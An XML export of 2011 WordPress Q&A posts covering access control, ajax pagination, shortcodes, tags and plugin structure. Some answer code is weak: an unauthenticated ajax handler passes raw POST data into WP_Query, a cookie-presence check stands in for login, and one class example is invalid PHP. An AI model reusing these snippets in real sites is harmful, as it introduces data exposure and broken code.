  <row Id="26176" PostTypeId="1" CreationDate="2011-08-17T20:22:24.300" Score="0" ViewCount="15" Body="&lt;p&gt;I've got custom developed sales system (in PHP, let's say it's domain.com) and I would like to add informational section to it. Instead of developing it from the ground up I thought that it would be better to publish information by Wordpress (for example published on subdomain infos.domain.com). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I would like to make it accessible only for users logged in to domain.com system. So when somebody enters infos.domain.com he sees some text like &quot;Please login to domain.com&quot;. When somebody is logged in to domain.com he should be able to read all the pages in infos.domain.com. Commenting them is not necessary (read-only is enough).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I know Wordpress rather from administrator's perspective I tried to find some plugin to solve that, but I failed. Maybe you can advice some ready-made (evan paid) solution? If it does not exist please, advise how it could be solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Login to domain.com is based on POST form and cookies, passwords in database are hashed with salt. domain.com system can be extended to provide some API.&lt;/p&gt;&#xA;" OwnerUserId="7982" LastActivityDate="2011-08-17T23:15:34.943" Title="Site only for users authenticated by different PHP application" Tags="&lt;password&gt;&lt;integration&gt;" AnswerCount="1" />
  <row Id="26177" PostTypeId="1" CreationDate="2011-08-17T20:34:06.700" Score="1" ViewCount="24" Body="&lt;p&gt;I have a folder inside my plugin that's used to store cached data for the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no need for the user to edit these files so I'd like to remove this folder's files from appearing in the &quot;Plugin files&quot; listing that appears in the right sidebar when editing the plugin files via &quot;Plugins &gt; Editor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-17T21:02:14.437" Title="How to prevent specific plugin files or subfolders from appearing under &quot;plugin files&quot; listing" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26178" PostTypeId="1" CreationDate="2011-08-17T20:36:13.547" Score="0" ViewCount="36" Body="&lt;p&gt;I have a page that uses three queries to retrieve a variety of content. One of those queries grabs posts that are related to the topic of the page. Since these posts can be of all sorts and related through a variety of methods (various magic fields defined values, their category, etc.) I am using a custom query to grab them (something where I build some args and pass them to WP_Query() like so: &lt;code&gt;$collected_child_posts = new WP_Query($args);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I return 5 results at a time (in my args I have &lt;code&gt;'posts_per_page' =&amp;gt; 5&lt;/code&gt;) and I want to page those results using ajax so that only that block of results updates when you click a &lt;code&gt;MORE POSTS&lt;/code&gt; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I implemented this by adding a url to the &lt;code&gt;MORE POSTS&lt;/code&gt; button that looks like &lt;code&gt;?paged=n&lt;/code&gt; and then having that retrieved via ajax. Problem is I get the entire page back (including the desired posts) when I only want the posts themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the best way to retrieve just those posts from the subquery without returning the entire page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4176" LastActivityDate="2011-08-17T21:00:27.513" Title="Using ajax with paging and a custom sub-query" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;pagination&gt;&lt;query&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="26179" PostTypeId="1" AcceptedAnswerId="26185" CreationDate="2011-08-17T20:40:50.307" Score="1" ViewCount="35" Body="&lt;p&gt;Hi there Best Wordpress Gurus,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've a question about using tags to simplify my HTML. For example if i want to ad a block of content lets say a contact form. I don't want to ad all the time my html code can i use a tag something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#contact_form&lt;/code&gt; and that this tag output a contactform for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this possible can someone please give me a link to tutorial or gives a example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx in advance. &lt;/p&gt;&#xA;" OwnerUserId="7569" LastActivityDate="2011-08-17T21:29:32.553" Title="Creating custom tags" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="26180" PostTypeId="1" AcceptedAnswerId="26191" CreationDate="2011-08-17T20:41:47.973" Score="0" ViewCount="43" Body="&lt;p&gt;I'm finding that plugins completely destroy my source formatting and generally suck at following standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I absolutely block all style-sheets and move all .js to the footer of the site without modifying the plugins or adding an additional plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what my homepage looks like under their rule &lt;a href=&quot;http://pastebin.com/KRxRyYM7&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/KRxRyYM7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-08-17T20:59:23.040" LastActivityDate="2011-08-17T22:31:09.570" Title="How do I override all stylesheets and scripts without a plugin" Tags="&lt;plugins&gt;&lt;css&gt;&lt;javascript&gt;" AnswerCount="1" />
  <row Id="26181" PostTypeId="2" ParentId="26178" CreationDate="2011-08-17T21:00:27.513" Score="0" ViewCount="" Body="&lt;p&gt;Two options-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;load a page fragment using &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;jQuery's load method&lt;/a&gt; (see Loading Page Fragments),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or create your own ajax function to load posts and return it in whatever markup you wish:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_my_ajax_get_posts', 'my_ajax_callback');&#xA;add_action('wp_ajax_nopriv_my_ajax_get_posts', 'my_ajax_callback');&#xA;function my_ajax_callback() {&#xA;    $args = $_POST['myargs'];&#xA;    $collected_child_posts = new WP_Query($args);&#xA;    echo 'some stuff';&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pass the admin-ajax url to your javascript via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script&lt;/a&gt;, or put it directly in your template via &lt;code&gt;admin_url('admin-ajax.php');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then call &lt;code&gt;admin-ajax.php&lt;/code&gt; and pass your ajax action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $.post(your_ajaxurl, {&#xA;        action: 'my_ajax_get_posts',&#xA;        myargs: args&#xA;    },&#xA;    function(data) {&#xA;        alert(data);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the first method is obviously simpler, but the second is easier on the server since a lot less of WP is loaded to execute an ajax call this way, plus less data is getting sent.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-17T21:00:27.513" />
  <row Id="26182" PostTypeId="2" ParentId="26177" CreationDate="2011-08-17T21:02:14.437" Score="4" ViewCount="" Body="&lt;p&gt;Use the upload directory to store files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should &lt;strong&gt;never&lt;/strong&gt; store files in the plugin directory. There is no guarantee that you have write access there.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-17T21:02:14.437" CommentCount="2" />
  <row Id="26183" PostTypeId="1" AcceptedAnswerId="26184" CreationDate="2011-08-17T21:04:05.283" Score="1" ViewCount="37" Body="&lt;p&gt;I would like to display the tags of a post different than what's standard in WordPress. If I've understood it correct, all I can do with the regular tags is to display different things between them and at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tags should be displayed like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more about tag 1, tag 2, and tag 3&#xA;Read more about tag 1 and tag 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get that &quot;and&quot; word in there?&lt;/p&gt;&#xA;" OwnerUserId="7283" LastActivityDate="2011-08-17T21:47:50.600" Title="Display tags with a twist" Tags="&lt;customization&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="26184" PostTypeId="2" ParentId="26183" CreationDate="2011-08-17T21:09:07.020" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_tags&quot; rel=&quot;nofollow&quot;&gt;the_tags()&lt;/a&gt; is simple for convenience, if you want more control over formatting, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_tags&quot; rel=&quot;nofollow&quot;&gt;get_the_tags()&lt;/a&gt; and output them however you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT -  quick example for the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$posttags = get_the_tags();&#xA;&#xA;if ($posttags) {&#xA;&#xA;    echo 'Read more about ';&#xA;&#xA;    $tag_count = count( $posttags );&#xA;    $count = 0;&#xA;&#xA;    foreach( $posttags as $tag ) {&#xA;        $count++;&#xA;        if( $tag_count == $count )&#xA;            $sep = '.';&#xA;        elseif( $tag_count - 1 == $count )&#xA;            $sep = ', and ';&#xA;        else&#xA;            $sep = ', ';&#xA;        ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_tag_link( $tag-&amp;gt;term_id ); ?&amp;gt;&quot; title=&quot;&quot;&amp;gt;&amp;lt;?php echo $tag-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php echo $sep; ?&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-17T21:47:50.600" LastActivityDate="2011-08-17T21:47:50.600" CommentCount="2" />
  <row Id="26185" PostTypeId="2" ParentId="26179" CreationDate="2011-08-17T21:29:32.553" Score="2" ViewCount="" Body="&lt;p&gt;Navid, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is functionality which will for the most part accomplish what you are looking for.  In WordPress you can create what are known as shortcodes.  These, when inserted into a post or page, will allow you to display complex information, much like using a macro  Shortcodes can be used for very simple or more complex tasks.  Here are some articles to help you get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Wordpress Shortcode API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp.tutsplus.com/tutorials/theme-development/wordpress-shortcodes-the-right-way/&quot; rel=&quot;nofollow&quot;&gt;Wp Tuts+ Shortcode Article&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-08-17T21:29:32.553" CommentCount="1" />
  <row Id="26186" PostTypeId="1" AcceptedAnswerId="26197" CreationDate="2011-08-17T21:38:18.427" Score="6" ViewCount="114" Body="&lt;p&gt;When developing a plugin should the functions be grouped together into a Class to avoid namespace conflicts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does using classes create performance overheads for PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a performance hit, should function names just be pre-fixed instead?&lt;/p&gt;&#xA;" OwnerUserId="3317" LastActivityDate="2011-08-29T16:45:01.690" Title="Should all plugins be encapsulated in a Class?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;development&gt;&lt;oop&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" />
  <row Id="26187" PostTypeId="1" CreationDate="2011-08-17T21:48:20.773" Score="0" ViewCount="18" Body="&lt;p&gt;In the script below, which resides in a custom widget, I'm trying to determine which sidebar area the widget has been added to because I want to alter the default text depending on which sidebar the user has added the widget to. This code should only execute on the admin side while editing the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, regardless of which sidebar the widget is placed in (my theme has 4 - main sidebar, header, footer and below content), it echoes the &quot;match&quot; string in all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I only want the echo to fire, when the widget is inside the widgetized sidebar whose id is &quot;home-header-widget&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with the if/then?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form( $instance ) {&#xA;&#xA;    global $wp_registered_widgets, $wp_registered_sidebars;&#xA;    $sidebars_widgets = get_option('sidebars_widgets');&#xA;    if($sidebars_widgets[&quot;home-header-widget&quot;]) echo 'Match';&#xA;&#xA;    $instance = wp_parse_args( (array) $instance, array( 'title' =&amp;gt; '', 'text' =&amp;gt; '', 'hide_title' =&amp;gt; '' ) );&#xA;    $title = format_to_edit($instance['title']);&#xA;    $text = format_to_edit($instance['text']);&#xA;        if($text==''){&#xA;        $text='hello world';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-17T21:48:20.773" Title="How to determine which sidebar the widget has been added to, via widget admin?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" />
  <row Id="26188" PostTypeId="2" ParentId="26186" CreationDate="2011-08-17T21:56:31.243" Score="0" ViewCount="" Body="&lt;p&gt;Classes don't usually offer any benefits in terms of performance, but they very rarely have any negative effects either. Their real benefit is in making the code clearer and avoiding namespace conflicts.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-17T21:56:31.243" />
  <row Id="26189" PostTypeId="2" ParentId="26186" CreationDate="2011-08-17T22:06:02.307" Score="1" ViewCount="" Body="&lt;p&gt;It's a purely stylistic choice on the part of the plugin author. There is no real difference in terms of speed.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-17T22:06:02.307" />
  <row Id="26190" PostTypeId="2" ParentId="8240" CreationDate="2011-08-17T22:23:04.390" Score="0" ViewCount="" Body="&lt;p&gt;you can use the ZipArchive object of php.  you can do a lot of stuffs with it.  here's the link: &lt;a href=&quot;http://php.net/manual/en/class.ziparchive.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/class.ziparchive.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7985" LastActivityDate="2011-08-17T22:23:04.390" />
  <row Id="26191" PostTypeId="2" ParentId="26180" CreationDate="2011-08-17T22:31:09.570" Score="1" ViewCount="" Body="&lt;p&gt;WordPress plugins usually enqueue's their stylesheets and js files using wp_enqueue_style and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; functions. You can dequeue script / dequeue style the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dequeue_script&quot; rel=&quot;nofollow&quot;&gt;scripts&lt;/a&gt;/styles if you don't want them in your theme. These css/js files usually loads with wp_head() action, which usually resides in your header.php in the theme&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-17T22:31:09.570" CommentCount="3" />
  <row Id="26192" PostTypeId="1" AcceptedAnswerId="26694" CreationDate="2011-08-17T22:36:37.403" Score="0" ViewCount="169" Body="&lt;p&gt;I'm trying to pass the variables to a new page, I made a function in my theme to get the results. Now when I use &lt;code&gt;yelplist();&lt;/code&gt;  on the front page of my theme it gets the results and when i click on the link it passes the image and city back to me as requested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;However I am wondering what i can do to have variables pass to their own page. For example: if I click on the name, a new page comes with the results of an image and a city for that link. &lt;/li&gt;&#xA;&lt;li&gt;Also is it possible to have it done in the single.php file, or will it be a completely new page/file?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I've made a little bit of progress using $_SESSIONS, I am now able to pass the variables into the single.php file however, when I click on the link thats suppose to grab the results from the current link it does not update the variables that are in the single.php file, instead its only getting the last parsed link's info instead of the one I am clicking on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when I click on the link at the bottom and make it try to go to the single.php file I get a object not found &lt;code&gt;&amp;lt;a href='single.php?p=$pizza_url'&amp;gt;&amp;lt;img border=0 src='&quot;.$business-&amp;gt;photo_url.&quot;'&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; what can I do to make it go to the single page and update the variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what I have in my functions file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yelplist(){&#xA;&#xA;require_once ('/lib/OAuth.php'); &#xA;require_once ('yelp.php'); &#xA;require_once(ABSPATH.'/wp-admin/includes/taxonomy.php');&#xA;&#xA;$yelpstring = file_get_contents('http://api.yelp.com/business_review_search?term=pizza&amp;amp;location=Los%20Angeles&amp;amp;ywsid=xxxxxxxxxxxxxxxxxxx');&#xA;$obj = json_decode($yelpstring);&#xA;&#xA;        foreach($obj-&amp;gt;businesses as $business):&#xA;            $business-&amp;gt;photo_url;&#xA;            $pizza_name = $business-&amp;gt;url;&#xA;            $business-&amp;gt;name;&#xA;            $business-&amp;gt;phone;&#xA;            $city = $business-&amp;gt;city;&#xA;&#xA;            $url = ''.$business-&amp;gt;url.'';&#xA;            $pizza = parse_url($url, PHP_URL_PATH);&#xA;            $pizza_url = trim(''.$pizza.'','/biz');&#xA;            $lower_case_city_url = $city;&#xA;            $lower_case_city_url = strtolower($lower_case_city_url);&#xA;            $city_url = str_replace(' ','-',$lower_case_city_url);&#xA;&#xA;            if(isset($_SESSION['p']) &amp;amp;&amp;amp; $_SESSION['p']==''.$pizza_url.'') {&#xA;&#xA;            $_SESSION['pizza_name']= $business-&amp;gt;name; &#xA;            $_SESSION['pizza_city']= $city = $business-&amp;gt;city; &#xA;            $_SESSION['pizza_phone']= $business-&amp;gt;phone;&#xA;            $_SESSION['pizza_photo'] = $business-&amp;gt;photo_url;&#xA;&#xA;        }else{&#xA;&#xA;        echo &quot;&amp;lt;div&amp;gt;&amp;lt;a href='?p=$pizza_url'&amp;gt;$business-&amp;gt;name&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            }&#xA;        endforeach;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is what im using in the single.php file to grab the results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php session_start(); ?&amp;gt;&#xA;&amp;lt;?php echo $_SESSION['pizza_name']; ?&amp;gt; &amp;lt;/br&amp;gt;&#xA;&amp;lt;?php echo $_SESSION['pizza_phone']; ?&amp;gt;&amp;lt;/br&amp;gt;&#xA;&amp;lt;?php echo $_SESSION['pizza_city']; ?&amp;gt;&amp;lt;/br&amp;gt;&#xA;&amp;lt;?php echo &quot;&amp;lt;img border=0 src=&quot;.$_SESSION['pizzaphoto'].&quot;&amp;gt;&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-23T17:45:29.840" LastActivityDate="2011-08-23T19:58:04.650" Title="Passing variables to new page" Tags="&lt;api&gt;&lt;variables&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="26193" PostTypeId="2" ParentId="26186" CreationDate="2011-08-17T22:38:54.137" Score="4" ViewCount="" Body="&lt;h2&gt;Classes VS function set&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Performance&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General:&lt;/strong&gt; Afaik, there's no difference in &quot;performance&quot; between classes and function &#xA;sets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detail:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There's a big difference if you question &lt;code&gt;function_exists()&lt;/code&gt; vs. &lt;code&gt;class_exists()&lt;/code&gt; as normally you got a lot of functions (~1.800(?) in wp core) vs. classes ( ~100(?) in wp core). So making stuff &quot;pluggable&quot; and therefore questioning the existance &lt;em&gt;is&lt;/em&gt; a difference in execution time.&lt;/li&gt;&#xA;&lt;li&gt;Classes offer one &lt;em&gt;big&lt;/em&gt; advantage over function sets: You can much easier avoid calling it on a request where you don't need it, then with functions. You only have to do conditional checks for the class and not for every function. So if you don't need it on every page load and can avoid calling lots of if/else statements, a function &quot;performs better&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Architecture - How stuff works:&lt;/h3&gt; &#xA;&#xA;&lt;p&gt;&lt;strong&gt;function set:&lt;/strong&gt; In general, functions gets executed in the row you call it. So every time you call stuff, you have to write it again, if you have to call it more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Class:&lt;/strong&gt; There are different aproaches to classes. The class, that comes closest to a function set is the &quot;factory&quot; class (&lt;a href=&quot;http://en.wikipedia.org/wiki/Factory_method_pattern&quot; rel=&quot;nofollow&quot;&gt;wikipedia&lt;/a&gt;/&lt;a href=&quot;http://www.google.com/search?q=factory%20class&quot; rel=&quot;nofollow&quot;&gt;google&lt;/a&gt;). Imo it's nearly the same as a set of functions, but encapsulated in a class. But there are other &quot;types&quot; of classes too. You could for example write an &lt;em&gt;abstract&lt;/em&gt; or a parent class class, that you extend with a child class. In a real world example: Let's say you got a class that builds some static text fields. In your &lt;code&gt;__construct()&lt;/code&gt; function you have a set of scenarios like &quot;left_column&quot;, &quot;right_column&quot; &amp;amp; &quot;footer_field&quot;. Then you call something like &lt;code&gt;$text_field = new TextFieldClass();&lt;/code&gt; to instantiate the class. And later you simply call &lt;code&gt;$text_field-&amp;gt;add( $case =&amp;gt; 'left_column', 'case' =&amp;gt; 'foo text' );&lt;/code&gt; and &lt;code&gt;$text_field-&amp;gt;add( $case =&amp;gt; 'footer_field', 'case' =&amp;gt; 'bar text' );&lt;/code&gt;. Then all your conditionals and else have already been performed when you instantiated the class and just the two class functions would have been called when you build the text fields. In this szenario you could have saved some ms of execution time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Personal Opinion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you write your classes wisely, then you'll have a &lt;em&gt;minor&lt;/em&gt; advantage in performance. But you'll have a well organized structure to work on. So far nothing spectacular. But if you consider the following &quot;split&quot; use cases for classes and functions in a plugin, then you'll get my &lt;em&gt;final&lt;/em&gt; point: &lt;strong&gt;Class is internal, functions are API&lt;/strong&gt;. As long as you offer API only via publicly useable functions (that then call classes or class functions), you'll be on the save side developing your plugin further. You acchieved the freedom to change the internal structure or even the possibilities of your plugin without affecting the users anytime and everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// construction of object&#xA;if ( ! class_exists( 'WPSE_HelloWorld' ) )&#xA;{&#xA;&#xA;class WPSE_HelloWorld&#xA;{&#xA;    function __construct( $args = array( 'text', 'html', 'echo' ) )&#xA;    {&#xA;        // call your object building procedures here&#xA;        $this-&amp;gt;hello_world( 'text', 'html', 'echo' );&#xA;    }&#xA;&#xA;    function hello_world( 'text', 'html', 'echo' )&#xA;    {&#xA;        $start_el = '&amp;lt;{$html}&amp;gt;';&#xA;        $end_el = '&amp;lt;/{$html}&amp;gt;';&#xA;        if ( $echo )&#xA;        {&#xA;            return print &quot;{$start_el}{$some}{$end_el}&quot;;&#xA;        }&#xA;&#xA;        return &quot;{$start_el}{$some}{$end_el}&quot;;&#xA;    }&#xA;} // END Class &#xA;&#xA;}&#xA;&#xA;// API: public functions&#xA;function the_hello_world( $args( 'echo' =&amp;gt; true ) )&#xA;{&#xA;    $new = new WPSE_HelloWorld();&#xA;    return $new-&amp;gt;hello_world( $args );&#xA;}&#xA;&#xA;function get_hello_world( array( $args( 'echo' =&amp;gt; false) ) )&#xA;{&#xA;    $new = new WPSE_HelloWorld();&#xA;    return $new-&amp;gt;hello_world( $args );&#xA;}&#xA;&#xA;// then you can call it like get_the_title() or the_title(), which you know from the WP API:&#xA;// 'echo' is set to false per default:&#xA;$some_var = get_hello_world( array( 'text' =&amp;gt; 'hello reader', 'html' =&amp;gt; 'strong' ) );&#xA;# *returns* &quot;&amp;lt;strong&amp;gt;hello reader&amp;lt;/strong&amp;gt;&quot;&#xA;&#xA;// 'echo' is set to true per default:&#xA;the_hello_world( array( 'text' =&amp;gt; 'hello reader', 'html' =&amp;gt; 'strong' ) );&#xA;# *prints/echos* &quot;&amp;lt;strong&amp;gt;hello reader&amp;lt;/strong&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Please also read the link @t310s posted in the comment to the Q.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-18T01:37:33.033" LastActivityDate="2011-08-18T01:37:33.033" CommentCount="7" />
  <row Id="26194" PostTypeId="2" ParentId="26170" CreationDate="2011-08-17T22:39:37.030" Score="0" ViewCount="" Body="&lt;p&gt;You may parse the markdown file and show the contents in the page with some method, say with shortcode. When you update the file, it'll automatically updated. Cause, it'll be parsing the markdown file and serving the HTML automatically.&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-17T22:39:37.030" CommentCount="1" />
  <row Id="26195" PostTypeId="2" ParentId="26176" CreationDate="2011-08-17T23:15:34.943" Score="0" ViewCount="" Body="&lt;p&gt;Quick and dirty: add something that runs during the WordPress init action that checks your the domain.com login status, and dies if the person isn't logged in. At a very basic level (if you don't need a pretty &quot;access denied&quot; page or anything), you can do something as simple as this in a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_26176_check_login() {&#xA;&#xA;    // some logic to validate your cookies. here I'm just checking if a cookie exists&#xA;    // but obviously your validation would be more extensive&#xA;    if(!isset($_COOKIE['yourcookie'])) {&#xA;        wp_die('get out of here'); // If cookie is missing, just die&#xA;    }   &#xA;&#xA;}&#xA;add_action('init', 'wpsx_26176_check_login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you'll need to keep in mind if rolling out WordPress on a subdomain is that cookies are by default only applicable to the domain they're set on. You'll have to set the cookies written by your custom application to specifically be available across all your subdomains.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-08-17T23:15:34.943" CommentCount="2" />
  <row Id="26196" PostTypeId="2" ParentId="20065" CreationDate="2011-08-17T23:36:10.633" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I need to register an action inside the class itself would it work with &lt;code&gt;array($this, 'bar')&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it works. &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.basic.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$this&lt;/code&gt;&lt;sup&gt;&lt;em&gt;Docs&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt; is referring to the concrete instance needed for the &lt;a href=&quot;http://php.net/manual/en/language.pseudo-types.php#language.types.callback&quot; rel=&quot;nofollow&quot;&gt;callback&lt;/a&gt;. That's exactly like the &lt;code&gt;$foo&lt;/code&gt; example you give. It's just that &lt;code&gt;$this&lt;/code&gt; is bit more special, but it represents basically the same and it works flawlessly with callbacks in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if I have a class foo and a static method bar I can register that as the callback by passing the array &lt;code&gt;array(&quot;foo&quot;,&quot;bar&quot;)&lt;/code&gt; as the function name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes you can do so, for the static function, you can write it as a string instead of the array as well: &lt;code&gt;foo::bar&lt;/code&gt;, see &lt;a href=&quot;http://php.net/manual/en/language.pseudo-types.php#language.types.callback&quot; rel=&quot;nofollow&quot;&gt;Callbacks &lt;sup&gt;&lt;em&gt;Docs&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt;. Might be handy.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-08-17T23:36:10.633" />
